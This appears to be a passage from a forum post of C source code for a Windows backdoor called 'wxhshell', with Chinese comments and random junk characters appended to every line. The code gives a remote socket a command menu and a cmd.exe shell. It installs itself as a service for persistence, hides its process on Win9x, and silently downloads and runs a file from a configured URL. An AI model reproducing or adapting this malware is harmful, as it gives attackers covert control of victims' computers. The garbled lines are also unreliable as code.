  } KF`mOSP  
  else { HLE%f;  
gM6o~ E  
    switch(cmd[0]) { (W9 K: ]}  
  7? ="{;  
  // 帮助 =Q!V6+}nY^  
  case '?': { Jp~[Dm  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DuC_uNJ  
    break; ~UsE"5  
  } ,JJ1sf2A  
  // 安装 3b<;y%  
  case 'i': { $@WA}\D  
    if(Install()) n+Ng7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); OoZv\"}!_  
    else u$^r(.EV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :QMpp}G  
    break; 9*CRMkPrd  
    } Z>W&vDeuN  
  // 卸载 z7Z!wIzJ  
  case 'r': { pWb8X}M  
    if(Uninstall()) l!}7GWj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (IAR-957pN  
    else YD5mJ[1t"2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); os+ ]ct  
    break; }jNVR#D:  
    } .WGrzhsV  
  // 显示 wxhshell 所在路径 ]pVuRj'pP  
  case 'p': { j7VaaA  
    char svExeFile[MAX_PATH]; (T.g""N~`  
    strcpy(svExeFile,"\n\r"); ^3Z~RK\}  
      strcat(svExeFile,ExeFile); [?)He} _L  
        send(wsh,svExeFile,strlen(svExeFile),0); X>MDX.Z  
    break; 70nBC  
    } 2j[; M-3  
  // 重启 Lcs?2c:%  
  case 'b': { cvV8 ;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d ?,wEfwp  
    if(Boot(REBOOT)) <!?ZH"F0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); asYUb&Hz88  
    else { _^F%$K6  
    closesocket(wsh); =jRC4]M})  
    ExitThread(0); nA+gqY6 6|  
    } 1]7v3m  
    break; p4Xhs@.k  
    } kyD*b3MN  
  // 关机 :Z3]Dk;y  
  case 'd': { nTz( {q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZgxpHo  
    if(Boot(SHUTDOWN)) HB}iT1.`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )79F"ltz h  
    else { /,ISx }  
    closesocket(wsh); N9O}6  
    ExitThread(0); !LpFK0rw  
    } , .uI>  
    break; .gw6W0\F  
    } 8oP"?ew#  
  // 获取shell x\5\KGw16  
  case 's': { QV=|' S  
    CmdShell(wsh); <T$rvS  
    closesocket(wsh); en16hd>^W:  
    ExitThread(0); AD"L>7  
    break; h{e?Fl  
  } twql)lbx  
  // 退出 qB3=wFI  
  case 'x': { @P<Mc )o^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  `=I@W  
    CloseIt(wsh); ],f%: ?%50  
    break; FW"gj\  
    } ? UBE0C  
  // 离开 5Yx 7Q:D  
  case 'q': { 2 57q%"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ->&amPv  
    closesocket(wsh); '\Uy;,tu /  
    WSACleanup(); WL<f!   
    exit(1); PE2O$:b\  
    break; U~<~>^[  
        } ^W[3Ri G  
  } Fr,b5 M<L7  
  } Ng\]  
S6c>D&Q  
  // 提示信息 U5H5QW+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qmbhx9V   
} oMF[<Xf  
  } 1K{hj%  
h%U,g 9_  
  return; bVds23q  
} ]bAw>1,NVD  
v`~egE17  
// shell模块句柄 HJOoCf  
int CmdShell(SOCKET sock) 3xpygx9  
{ WI\h@qSB  
STARTUPINFO si; Hr=?_Un"  
ZeroMemory(&si,sizeof(si)); x7c#kU2A&Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #h2 qrX&+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .&n;S';"  
PROCESS_INFORMATION ProcessInfo; lAPPn g`  
char cmdline[]="cmd"; G8OnNI  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8>ODtKI *  
  return 0; 8|IlJiJ~v  
} (l:LG"sy\  
jxDA+7  
// 自身启动模式 3 >G"&T{  
int StartFromService(void) ^ V8?6E  
{ 6 G?7>M  
typedef struct VKHzGfv  
{ _S6SCSFc  
  DWORD ExitStatus; L7$1rO<  
  DWORD PebBaseAddress; 2<^eVpNJR  
  DWORD AffinityMask; cK1RmL"3  
  DWORD BasePriority; cAzlkh  
  ULONG UniqueProcessId; Q Pp>%iE@  
  ULONG InheritedFromUniqueProcessId; m7,;Hr(  
}   PROCESS_BASIC_INFORMATION; C'fQ Z,r-v  
DV jsz  
PROCNTQSIP NtQueryInformationProcess; J8PZVeWx  
}wV/)Oy[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; wy# 5p]!u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3b1%^@,ACy  
p|'Rm ]&jb  
  HANDLE             hProcess; pL{:8Ed  
  PROCESS_BASIC_INFORMATION pbi; '=>l& ;  
k\lU Q\/O5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =42NQ{%@;  
  if(NULL == hInst ) return 0; .Wvg{ S -  
!v]~ut !p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _Wo(;'.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j9$kaEf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fZrB!\Q  
5Q@4@b{C  
  if (!NtQueryInformationProcess) return 0; Ia*T*q Ju  
e><,WM,e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^uWj#  
  if(!hProcess) return 0; n.xOu`gj  
t$b{zv9C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MGSD;Lgn  
0`"DYJ}d  
  CloseHandle(hProcess); RV, cQ K  
OJPi*i5*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); c:_dW;MJ0  
if(hProcess==NULL) return 0; ;F\sMf{  
>&uR=Yd  
HMODULE hMod; LkUi^1((e  
char procName[255]; qwHP8GU  
unsigned long cbNeeded; XQ$9E?|=  
<5sP%Fs)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); EJJW  
[fr!J?/@  
  CloseHandle(hProcess); x.aqy'/`  
uKd79[1  
if(strstr(procName,"services")) return 1; // 以服务启动 t%]b`ad  
rb<9/z5-  
  return 0; // 注册表启动 dZ'H'm;,!  
} .0#{ ?R,  
Yjp*T:6  
// 主模块 k= oCpXq^  
int StartWxhshell(LPSTR lpCmdLine) s, ;L6nX"  
{ 5D`!Tu3  
  SOCKET wsl; R(<_p"9(  
BOOL val=TRUE; 6gJc?+  
  int port=0; d/xGo[?$  
  struct sockaddr_in door; !eGUiE=  
='\E+*[$I  
  if(wscfg.ws_autoins) Install(); .*g^ i`  
h&:6S  
port=atoi(lpCmdLine); .Sjg  
WO"<s{v  
if(port<=0) port=wscfg.ws_port; gatxvR7H  
h9WyQl7  
  WSADATA data; ed4`n!3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %2EHYBQjN  
LFPYnK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   i$S*5+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t Ai?Bjo  
  door.sin_family = AF_INET; SoL"M[O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {xJ<)^fD8  
  door.sin_port = htons(port); uPBtR  
Q@? {|7:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g WHjI3;  
closesocket(wsl); { ^ @c96&  
return 1; }X^CH2,R  
} O (YvE  
s!\G i5b  
  if(listen(wsl,2) == INVALID_SOCKET) { R)BH:wg"  
closesocket(wsl); vON1\$bu `  
return 1; cK~VNzsz  
} &L4>w.b"N  
  Wxhshell(wsl); yh"48@L'D  
  WSACleanup(); 7DCu#Y[  
WS1$cAD2N  
return 0; x$/: %"E  
k{w  
} QKtVwsz +  
)SsO,E+t=U  
// 以NT服务方式启动 a qIpO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LQ.0"6oj  
{ T96M=?wh!  
DWORD   status = 0; ^DOQ+  
  DWORD   specificError = 0xfffffff; B5 H=#  
:`20i*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wBIhpiJX0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; SbN.z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; - <M'h  
  serviceStatus.dwWin32ExitCode     = 0; ck K9@RQ  
  serviceStatus.dwServiceSpecificExitCode = 0; W`` -/  
  serviceStatus.dwCheckPoint       = 0; /D ~UK"}  
  serviceStatus.dwWaitHint       = 0; } {<L<  
`*HM5 1U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (`FY{]Wz!  
  if (hServiceStatusHandle==0) return; - {|  
U A}N  
status = GetLastError(); |t&gyj  
  if (status!=NO_ERROR) vFg X]&bE  
{ ` beU2N  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w]=c^@t _  
    serviceStatus.dwCheckPoint       = 0; rz]M}!>k  
    serviceStatus.dwWaitHint       = 0; \R (Yf!>  
    serviceStatus.dwWin32ExitCode     = status; vN3uLz'<  
    serviceStatus.dwServiceSpecificExitCode = specificError; [-'LJG Wb<  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^9A,j} >o-  
    return; |^$?9Dn9.L  
  } j<C p&}X  
Sx}61?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 40R7@Vaf  
  serviceStatus.dwCheckPoint       = 0; *-.,QpgTX  
  serviceStatus.dwWaitHint       = 0; 7) 37AKw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S7 WT`2  
} $J)2E g  
O>kM2xw  
// 处理NT服务事件,比如:启动、停止 0rj50$~$]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T~b6Zu6  
{ #CTHCwYo  
switch(fdwControl) /eNDv(g)M  
{ qASV\ <n  
case SERVICE_CONTROL_STOP:  njg\y  
  serviceStatus.dwWin32ExitCode = 0; M"|({+9eG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nZ8f}R!f:  
  serviceStatus.dwCheckPoint   = 0; fVx_]5jM  
  serviceStatus.dwWaitHint     = 0; ])iw|`@dJ  
  { ;}E$>]*Yn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2r>I,TNHl  
  } )w'GnUqWz  
  return; M5<c HE  
case SERVICE_CONTROL_PAUSE: ?-D'xqc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~sbn"OS +  
  break; nh? ~S`  
case SERVICE_CONTROL_CONTINUE: mr\C  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; [3fmhc  
  break; l~*D jr~  
case SERVICE_CONTROL_INTERROGATE: N/i {j.=  
  break; o`<ps$ yT  
}; z< ,rE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yjj)+eJ(Q  
} $|pD}  
)G=hgqy  
// 标准应用程序主函数 Q]<6i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "6zf-++%  
{ ry!0~ir  
zaMKwv}BR  
// 获取操作系统版本 o%.0@W  
OsIsNt=GetOsVer(); YH/3N(],  
GetModuleFileName(NULL,ExeFile,MAX_PATH); y(h"0A1lW  
yy#4DYht  
  // 从命令行安装 APM!xX=N  
  if(strpbrk(lpCmdLine,"iI")) Install(); )2mvW1M=7;  
xI(Y}>  
  // 下载执行文件 Yo;Mexo!  
if(wscfg.ws_downexe) { l~c# X3E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) pIP ^/H  
  WinExec(wscfg.ws_filenam,SW_HIDE); N@G~+GCxL  
} (7J (.EG2e  
G*\U'w4w|*  
if(!OsIsNt) { '7(oCab"_  
// 如果时win9x,隐藏进程并且设置为注册表启动 *nc9 u"  
HideProc(); $KMxq=  
StartWxhshell(lpCmdLine); 8lfKlXR78  
} 2(iv+<t  
else q"|#KT^)  
  if(StartFromService()) a<d$P*I(cH  
  // 以服务方式启动 YMD&U   
  StartServiceCtrlDispatcher(DispatchTable); atmTI`i  
else odNHyJS0  
  // 普通方式启动 c3q @]|aI  
  StartWxhshell(lpCmdLine); [2Ot=t6]  
D;QV`Z% I  
return 0; #8;#)q_[u  
}
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只看该作者 1 发表于: 2006-10-10
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